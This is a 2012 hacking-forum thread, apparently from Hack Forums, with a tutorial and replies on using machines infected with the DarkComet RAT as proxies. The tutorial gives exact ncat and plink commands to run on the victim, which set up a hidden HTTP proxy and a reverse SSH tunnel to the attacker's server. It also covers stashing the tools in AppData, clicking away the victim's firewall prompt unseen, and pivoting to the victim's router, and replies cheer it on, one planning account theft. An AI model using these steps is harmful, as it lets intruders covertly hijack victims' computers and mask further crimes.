Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TuT] Advanced Proxying to use DarkComet Slaves to surf the web using PLINK and NCAT

Disclaimer : This post is for educational purposes of learning network security.
I am not responsible what you do with this information.


How to use your slave's connection to browse the internet.

So you want to surf using a dark comet slave? Wait, there is an option in Dark Comet to turn the slave into a proxy!
Oh wait, it doesn't work? Why not?

Because your slave is most likely behind a router and you lack basic firewall understanding. Come sit children, and gRanger will show you the way.

What you will need:
An ssh server - best bet would be to install openssh server on your computer (SECURE THIS WITH A STRONG PASSWORD, IT"S EXPOSED TO THE INTERNET!!!!)
A port forward rule on port 22 to your ssh server on your router(if you left the ssh server listening on port 22)
A browser where you can use proxy settings - I recommend using foxyproxy w/ firefox
Plink - a command line version of putty for making an ssh connection. You can download this from the main putty page
ncat - a command line tcp/ip tool. (similar to netcat, but put out by nmap team) - look at nmap.org for this tool
a slave - duh


Because your slave is behind a router, he essentially has a poor man's firewall from the outside world. The whole reason you can see the slave online after ratting
is because the slave's computer is making an outbound connection to your ip which is then being forwarded to the computer on your network that you specified
when port forwarding. Open up a port on your router/firewall to point to the same machine and install openSSH server.

Find an inconspicious spot to upload plink.exe and ncat.exe on the slave's machine. I recommend C:/users/[theuseryou'veratted]/appdata

On Dark Comet, open up the remote shell tab. This will give you a command prompt on the slave's machine. Navigate to the directory that ncat plink.exe is in.
Type in the following:

ncat.exe -lvk 8080 --proxy-type http --allow .*.*.

You've officially started a proxy server on the slave's machine. BE WARNED when you do this they might get a firewall popup that asks them to keep blocking or unblock.
My recommendation is to use the remote desktop and watch the slave machine and click the "unblock" button quickly to remain stealthy.

Now you can't just use the proxy server yet because your slave is behind a router, and a direct connection is just going to get refused. Now comes the reverse
SSH tunnel which will allow you to tunnel traffic through it.

Close the remote shell window in Dark Comet and reopen it, the ncat listener is still being run in the background on the slave's machine so don't worry.

plink.exe -R 3128:127.0.0.1:8080 [youripaddress] -l [yoursshlogin] -pw [yoursshpw]

It's going to ask you if u want to cache the server, yadda yadda..type N for no. Because you don't want to leave a footprint on the slave's machine. At this point you should be left with a shell to your ssh server, from the remote shell..(I know, it's confusing...shell in a shell..SHELLCEPTION!)

DAFUQ DID I JUST DO?

Let me break it down. You're making an ssh connection back to your ssh server from the slave. SSH is very useful for tunneling traffic mostly because you don't need to keep adding port
forwarding rules to your router and the traffic is encrypted.

plink.exe - obviously this is executable you are running on the slave's machine
-R - this is the remote directive. When you make a connection, it will open up a port on the server and a port on the local machine
3128 this is the port on the ssh server you're opening up...
</br>127.0.0.1 this is the address you're going to hit on the SLAVE'S Network once you tunnel traffic through port 3128 on YOUR network (hint...you could just change this if you were interested in hitting a machine on the same network as the slave..use your imagination)
8080 this is the port you're going to come out on @ 127.0.0.1

Now the last thing to do is setup the browser to use foxy proxy or another proxy tool to point at 127.0.0.1 on port 3128. This traffic will be piped through the attacker's port
3128 which is part of the ssh tunnel and send it to the local machine on the slave's end on port 8080, which is the ncat listener/proxy. Go to google in the browser
and type in "what's my ip address" It should be your slave's wan address now, which would match up to what you have in the dark comet window.

Quick summary logic.

1. Install ssh server on attacking machine
2. Port forward port 22 on your router to the ssh server computer
3. Upload ncat and plink to slave in a discreet place
4. start ncat listener in remote shell window : ncat.exe -lvk 8080 --proxy-type http --allow .*.*.
5. close remote shell window and reopen, run plink.exe -R 3128:127.0.0.1:8080 [youripaddress] -l [yoursshlogin] -pw [yoursshpw]
6. setup attacking browser to proxy connection to 127.0.0.1 on port 3128.


Now use your imagination to what you can access from here? (hint hint slave's router maybe?)

Please show some love if this guide helped you. It was made with alot of experimentation and patience.
It says my DarkComet is a virus. rrr
Bookmarked i will use this when i get a slave. thanks for the thread.


(Aug 13, 2012 08:24 PM)connoratch1223 Wrote:  It says my DarkComet is a virus. rrr
that is because it is a "hacking tool" just allow an exception.
alright seriously where do you learn how to do all of this?
Holy shit, great tut. Hq, well explained, and best of all, for something you can actually do!
Thanks OP!
Thanks man...this tutorial looks cool...I hope it helps me :D
no problem, im going to upload pics for better understanding. I'm not a "skid" btw. I'm an IT security admin/web application pentester, so I deal with firewalls and Computer & network security all day.


Also, I will say this about Ncat. It is a poor man's proxy, and I have noticed some rendering issues, like with yahoo and certain other sites. I know there are other better proxy's that have silent installs and have less rendering issues, but the name of the game here is stealth and simplicity.


(Aug 13, 2012 09:42 PM)jacksonbob10199 Wrote:  alright seriously where do you learn how to do all of this?

Lot's of reading my friend. Lots and lots of reading and experimenting. This originally started as a ncat to ncat proxy, but there were some fundamental problems with sending and receiving stateless data, like http requests. I eventually did some reading and i use putty anyway to connect to my home computers through a single gateway linux server. I then realized there was a command line version of putty and i went from there.

You can see here from a previous post that i've been thinking about this for while but could not seem to find a good answer until i did it myself:
https://hackforums.net/showthread.php?tid=2704169
thanks for this tutorial helps a bunch :) !!
Here are some pics of ratting process and the proxy process in general that I promised

Before Ratting
Spoiler (Click to View)

Ratting process
Spoiler (Click to View)

Proxy process
Spoiler (Click to View)
this is just what i needed worked perfectly i had some problems with seeing missing dll files pop up on the vic's machine but i fixed that with finding a standalone ncat.exe
Great tut. And very well explained. Thanks mate
hey dude thank you to share think I will see if it works :)
everything is ok...but stuck on openssh part :(....can u please explain it in detail or any download link...coz one i downloaded is pretty messy :|
this will come in handy for hacking runescape accounts now that jagex has implimented that new security system. Thank you very much man, you have saved the day for me and for many other fellow runescape hackers out there. Very HQ and I would +rep you if I could. :D
Bookmarked i will use this when i get a slave. thanks for the thread


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Prince99999Oct 8, 2021 04:26 PM 6 460 Oct 8, 2021 04:26 PM
Last Post: zezam123
by kingsmashbroJan 1, 2020 12:58 PM 0 110 Jan 1, 2020 12:58 PM
Last Post: kingsmashbro
by M4GG0Jul 19, 2018 03:06 AM 14 535 Jul 19, 2018 03:06 AM
Last Post: bullet527